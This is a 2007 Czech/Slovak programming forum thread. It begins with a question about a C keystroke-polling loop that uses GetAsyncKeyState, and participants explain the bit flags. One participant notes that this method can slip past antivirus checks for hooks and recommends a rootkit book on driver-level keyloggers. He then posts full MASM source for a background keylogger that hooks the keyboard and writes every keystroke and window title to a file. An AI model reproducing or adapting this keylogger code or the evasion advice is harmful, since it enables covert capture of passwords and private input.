| | |  |  | Dobry den, projizdel jsem si jeden zdrojovy kod a nepochopil jsem par radku, za vasi pomoc budu velice vdecny - takze tu je ta cast : 
 short character;
 while(1)
 {
 sleep(10);
 for(character=8;character<=222;character
 ++)
 {
 if(GetAsyncKeyState(character)==-32767)
 {
 
 podminka while(1) ? to je podminka, ktera se provede vzdy? Ale to by nebylo az tak dulezite, spise me zajima cast s funkci GetAsyncKeyState - kdyz jsem ji zkusil zvlast a s ciselnou hodnotou 8-22 vzdy vratila 0 , asi proto , ze jsem nic nepsal nebo nevim.Znak mensi nez 8 je znak pro mys, ten nas nezajima,proto od 8 , to bych vse jeste chapal , ale proste nepochopim, kdy se bude ta podminka rovnat tomuhle cislu.Jedine,co me napada, je ze by se to do short neveslo , tak by to slo od minusu , ale my pracujeme s hodne nizkym cislem na to,aby to preteklo...Ma nekdo nejaky napad?
 
 ----------
 Niemand ist so gut,wie er denkt ;)
 (odpovědět)
 |  |  | 
 | 
 | 
| | |  |  | Pokud by platila tato veta : if the least significant bit is set, the key was pressed after the previous call to GetAsyncKeyState - a the least significant by neznamenalo nejmene vyznamny , jelikoz to si netroufnu rict , ktery bit je jak vyznamny , ale nejmensi , tak dle meho nazoru je nejnizsi bit -32768 , kdyztak me opravte... 
 ----------
 Niemand ist so gut,wie er denkt ;)
 (odpovědět)
 |  |  | 
 | 
 | 
| | |  |  | tak pri nastaveni bitu -32767 to jde normalne... a pri pouziti bitu -32768 se kazde zmackle pismenko zobrazi vickrat... vi nekdo proc pls? 
 ----------
 Niemand ist so gut,wie er denkt ;)
 (odpovědět)
 |  |  | 
 | 
 | 
| | |  |  | nevím, co ta funkce dělá, ale musím tě opravit. 
 -32767 není bit, ale dva bajty (signed short int)
 
 -32767 není nejnižší číslo v té proměnné, ale nejvyžší! (má všechny bity na jedničce)
 
 první, nejvyšší bit (podle mě je to ten least significant bit ), určuje +/- toho čísla (když je na jedničce, je číslo záporné - záporná číslo jsou "nad" kladnýma, proto je -32767 nejvyšší né nejnižší)
 
 
 k té funkci ti snad poradí někdo jiný, bohužel, já vím jen toto. (doufám, že to mám aspoň správně :-))
 
 ----------
 Get enlightened!
 (odpovědět)
 |  |  | 
 | 
 | 
| | |  |  | Mi to přijde jako čekání na klávesu. (odpovědět)
 |  | | gugumaa | 195.113.79.10/10.0.10.* | 13.11.2007 10:08 | 
 | 
 | 
 | 
| | |  |  | Ja vim,co to je za funkci - vraci jestli je klavesa prave zmacknuta a ktera to je ... 
 me zajimaji akorat ty bity...
 
 Tak jsem tak trochu cetl a rekl bych, ze uz jsem na to prisel.Dik za nakopnuti mr.Crow.
 
 Takze asi takhle , aby z toho meli neco pripadne i ostatni.Prevod zaporneho cisla do binarni soustavy se provadi tak,ze se od zaporneho cisla treba -32768 odecte 1 (vlastne pricte jelikoz je zaporne:) ) a z cisla -32767 se vezme kladne cislo 32767 to se prevede do binarni soustavy. vyjde 15 bitovych 1 . My si z toho udelame 16 bitove cislo.Pridanim 0 pred retezec. takhle: 0111111111111111 a znegujeme to 1000000000000000 toto je cislo -32768 . Z toho plyne, jak mr.Crow rekl ze nejvyssi bit nastaveny na 1 je zaporne cislo.A v mem pripade se cislo vracelo vicekrat, jelikoz se netestovalo , jestli klavesa je stale stiskla.Takze se to nejspis mirne zacyklilo.
 Reseni cislem -32767 je proto , ze ma nastaven i posledni bit ,takto: 1000000000000001 , takze se testuje v teto funkci i jestli je tlacitko prave stisknuto.
 Konec badani panove , problem vyresen :)
 
 ----------
 Niemand ist so gut,wie er denkt ;)
 (odpovědět)
 |  |  | 
 | 
 | 
| | |  |  | mr.Crow: nevím, co píšeš, ale musím tě opravit, máš tam "nejvyžší". ----------
 Eat me!
 (odpovědět)
 |  | | w. | 88.102.124.* | 13.11.2007 16:51 | 
 | 
 | 
 | 
| | |  |  | všiml jsem si toho, bohužel, editovat příspěvek nelze. Další výskyt tohoto slova už je správně napsaný. Se omlouvám, nějak jsem se spletl. 
 Darth: není zač, jsem rád, že i toto pomohlo :-)
 
 ----------
 Get enlightened!
 (odpovědět)
 |  |  | 
 | 
 | 
| | |  |  | jenda sa o drevorubacsky sposob ako sledovat klavesy. takze
 
 while (true)
 
 pre kazdu hodnotu character od 8 az po 222
 to zavola funkciu GetAsyncKeyState
 
 a ta vrati hodnotu :
 If the most significant bit is set, the key is down, and if the least significant bit is set, the key was pressed after the previous call to GetAsyncKeyState
 
 ak ani jedno tak k stlaceniu nedoslo.
 
 pouzivame little endian takze prvy bit je least significant.
 (odpovědět)
 |  | | alf0nz | 91.127.90.* | 13.11.2007 18:55 | 
 | 
 | 
 | 
| | |  |  | za předpokladu, že pracujeme na procesoru, kde se malý indián vyskytuje :-) (i když asi windows na procesoru big endian nepoběží, že...) každopádně na velikosti indiánů v tomto případě nezáleží. 
 ----------
 Get enlightened!
 (odpovědět)
 |  |  | 
 | 
 | 
| | |  |  | alf0nz : jestli je drevorubacsky to bych polemizoval, pac je to zdrojak z Irongeek , ale jestli mas lepsi ,postni ho sem , rad se priucim...;) 
 ----------
 Niemand ist so gut,wie er denkt ;)
 (odpovědět)
 |  |  | 
 | 
 | 
| | |  |  | no momentalne zrovna zdrojak nemam a google ti urcite par zdrojakov ukaze. 
 obecne ak sa chces naucit advanced techniky vo win tak knizka Addison.Wesley.Professional.Rootkits.Subver
 ting.the.Windows.Kernel
 
 je ta spravna volba,a v nej je takisto
 uvedeny aj popis ako napisat keylogger pomocou tzv. layered drivers.Takisto hook na keyboard je imho lepsia volba.
 
 ono tento GetAsyncKeyState postup pre keylog sa nam moze hodit napr. ked nejaky "zly" av kontroluje hooky.
 (odpovědět)
 |  | | alf0nz | 91.127.90.* | 13.11.2007 22:07 | 
 | 
 | 
 | 
|  | 
| | |  |  | alf0nz: dikes moc :) dej mi mesic a prelouskam tu anglictinu :D a dalsi mesic a mozna to pochopim :D ale je zajimavej napad zacit logovat primo u radice klavesnice :P 
 ----------
 Niemand ist so gut,wie er denkt ;)
 (odpovědět)
 |  |  | 
 | 
 | 
| | |  |  | alf0nz: Myslíš,že bys mi mohl stručně a srozumitelně vysvětlit , co je to dispatch table a IRP ? zbytek jsem tak nějak pochopil.V popisu bylo něco jako,že dispatch table je tabulka ukazatelů na metody a procedury, ale nevím , nějak jsem to nepochopil.IRP jsou nějaké zprávy , které si posílá systém s HW ? 
 ----------
 Niemand ist so gut,wie er denkt ;)
 (odpovědět)
 |  |  | 
 | 
 | 
| | |  |  | btw abych pravdu řekl , je to skok z neuvěřitelně lehkýho keyloggeru na Irongeek ,využívajícího sokety a jednoduchý funkce na pro mě neuvěřitelně složitej keylogger ve formě řadičů a struktur :) 
 ----------
 Niemand ist so gut,wie er denkt ;)
 (odpovědět)
 |  |  | 
 | 
 | 
|  | 
| | |  |  | comment ~ 
 This is skeleton of a very basic key logger for (ANSI keyboards) Windows NT 3.51 or greater,
 including NT4/Win2k/XP & 2k3.
 
 It will run in the background, and log all keystrokes to a file named "keylog.txt"
 
 Shows neat way of formatting key codes.
 GetKeyNameText is used rather than ascii table to format unprintable characters
 such as F1/F12, ESC,CTRL..etc.
 
 its not finished idea, would still like email/encryption engine, filter out
 garbage data..maybe in future version.;;
 
 Terminate it with a combination of CTRL + ALT + F12
 Tested on Win2k only.
 
 Win95/98/ME/MAC are not supported.
 
 Compiles with MASM.
 
 ml /Cp /coff /c /I C:\MASM32\INCLUDE klogski.asm
 link /SUBSYSTEM:WINDOWS /LIBPATH:C:\MASM32\LIB klogski.obj
 
 -------------------------------------[April 2004
 
 If MSVCRT.INC is not included with MASM package..
 
 you can define in seperate file as follows:
 
 fopen PROTO C :DWORD, :DWORD
 fprintf PROTO C :DWORD, :VARARG
 fflush PROTO C :DWORD
 fclose PROTO C :DWORD
 
 Then use INC2L.EXE from MASM package to generate LIBRARY file.
 
 BTW: The INCLUDELIB directive is written at the top of each *.INC file..
 
 Other than that, comments are included, good luck.
 ~
 .586
 .model flat, stdcall
 
 include <windows.inc>
 include <user32.inc>
 include <kernel32.inc>
 include <msvcrt.inc>
 
 pushz	macro szText:VARARG
 local	nexti
 call	nexti
 db	szText,00h
 nexti:
 endm
 
 .data
 
 hHook			dd	0
 msg			MSG	<>
 hFile			dd	0
 hCurrentWindow	dd	0
 
 .code
 main:
 xor	ebx, ebx
 push	VK_F12		; this will switch logger off using CTRL+ALT+F12 together
 push	MOD_CONTROL or MOD_ALT
 push	0badfaceh		; name of register key -> "0BADFACE"
 push	ebx			;
 call	RegisterHotKey	;
 
 pushz	"ab"			; append in binary mode
 pushz	"keylog.txt"	; name of log file
 call	fopen
 add	esp, 2*4		; all c lib functions need fixup..
 mov	[hFile], eax
 
 push	ebx
 call	GetModuleHandleA
 
 push	ebx
 push	eax
 push	offset KeyBoardProc
 push	13				; low level key logger
 call	SetWindowsHookExA
 mov	[hHook], eax
 
 push	ebx
 push	ebx
 push	ebx
 push	offset msg
 call	GetMessageA
 
 push	[hHook]
 call	UnhookWindowsHookEx
 
 push	[hFile]
 call	fclose
 add	esp, 04
 
 push	eax
 call	ExitProcess
 
 ;##########################################
 ####################
 
 KeyBoardProc	PROC	nCode:DWORD, wParam:DWORD, lParam:DWORD
 LOCAL	lpKeyState[256]	:BYTE
 LOCAL	lpCharBuf[32]	:BYTE
 ;----------------------------
 
 lea	edi, [lpKeyState]
 push	256/4
 pop	ecx
 xor	eax, eax
 rep	stosd
 
 mov	eax, wParam
 cmp	eax, WM_KEYUP
 je	next_hook
 
 cmp	eax, WM_SYSKEYUP
 je	next_hook
 
 call	GetForegroundWindow		; get handle for currently used window ( specific to NT )
 cmp	[hCurrentWindow], eax		; if its different to last one saved..
 je	no_window_change			;
 
 mov	[hCurrentWindow], eax		; ..save it and
 push	256					; get title text for it
 lea	esi, [lpKeyState]
 push	esi
 push	eax
 call	GetWindowText
 
 push	esi
 pushz	13,10,"[CURRENT WINDOW TEXT:%s]",13,10
 push	[hFile]
 call	fprintf
 add	esp, 3*4
 
 push	[hFile]
 call	fflush			; flush data buffer to disk..
 add	esp, 4
 
 no_window_change:
 mov	esi, [lParam]		; we don't want to print shift or capslock names.
 lodsd					; it just makes the logs easier to read without them.
 cmp	al, VK_LSHIFT		; they are tested later when distinguishing between
 je	next_hook			; upper/lowercase characters.
 cmp	al, VK_RSHIFT
 je	next_hook
 cmp	al, VK_CAPITAL
 je	next_hook
 cmp	al, VK_ESCAPE
 je	get_name_of_key
 cmp	al, VK_BACK
 je	get_name_of_key
 cmp	al, VK_TAB			; print tab keys
 je	get_name_of_key
 ;------------------
 lea	edi, [lpCharBuf]		; zero initialise buffer for key text
 push	32/4
 pop	ecx
 xor	eax, eax
 rep	stosd
 ;----------
 lea	ebx, [lpKeyState]
 push	ebx
 call	GetKeyboardState			; get current keyboard state
 
 push	VK_LSHIFT				; test if left shift key held down
 call	GetKeyState
 xchg	esi, eax				; save result in esi
 
 push	VK_RSHIFT				; test right..
 call	GetKeyState
 or	eax, esi				; al == 1 if either key is DOWN
 
 mov	byte ptr [ebx + 16], al		; toggle a shift key to on/off
 
 push	VK_CAPITAL
 call	GetKeyState				; returns TRUE if caps lock is on
 mov	byte ptr [ebx + 20], al		; toggle caps lock to on/off
 
 mov	esi, [lParam]
 lea	edi, [lpCharBuf]
 push	00h
 push	edi					; buffer for ascii characters
 push	ebx					; keyboard state
 lodsd
 xchg	eax, edx
 lodsd
 push	eax					; hardware scan code
 push	edx					; virutal key code
 call	ToAscii				; convert to human readable characters
 test	eax, eax				; if return zero, continue
 jnz	test_carriage_return		; else, write to file.
 
 get_name_of_key:			; no need for large table of pointers to get asciiz
 mov	esi, [lParam]
 lodsd			; skip virtual key code
 lodsd			; eax = scancode
 shl	eax, 16
 xchg	eax, ecx
 lodsd			; extended key info
 shl	eax, 24
 or	ecx, eax
 
 push	64
 lea	edi, [lpCharBuf]
 push	edi
 push	ecx
 call	GetKeyNameTextA
 
 push	edi
 pushz	"[%s]"
 jmp	write_to_file
 
 test_carriage_return:
 push	edi
 pushz	"%s"
 
 cmp	byte ptr [edi], 0dh		; carriage return?
 jne	write_to_file
 
 mov	byte ptr [edi + 1], 0ah		; add linefeed, so logs are easier to read.
 write_to_file:
 push	[hFile]
 call	fprintf
 add	esp, 2*4
 next_hook:
 push	[lParam]
 push	[wParam]
 push	[nCode]
 push	[hHook]
 call	CallNextHookEx
 ret
 KeyBoardProc	ENDP
 
 end	main
 (odpovědět)
 |  | | alf0nz | 78.98.98.* | 18.11.2007 14:12 | 
 | 
 | 
 | 
| | |  |  | ta dokumentace pomohla díkes , ale ASSEMBLER ještě neumim, takže ten zdroják moc nechápu... 
 ----------
 Niemand ist so gut,wie er denkt ;)
 (odpovědět)
 |  |  | 
 | 
 |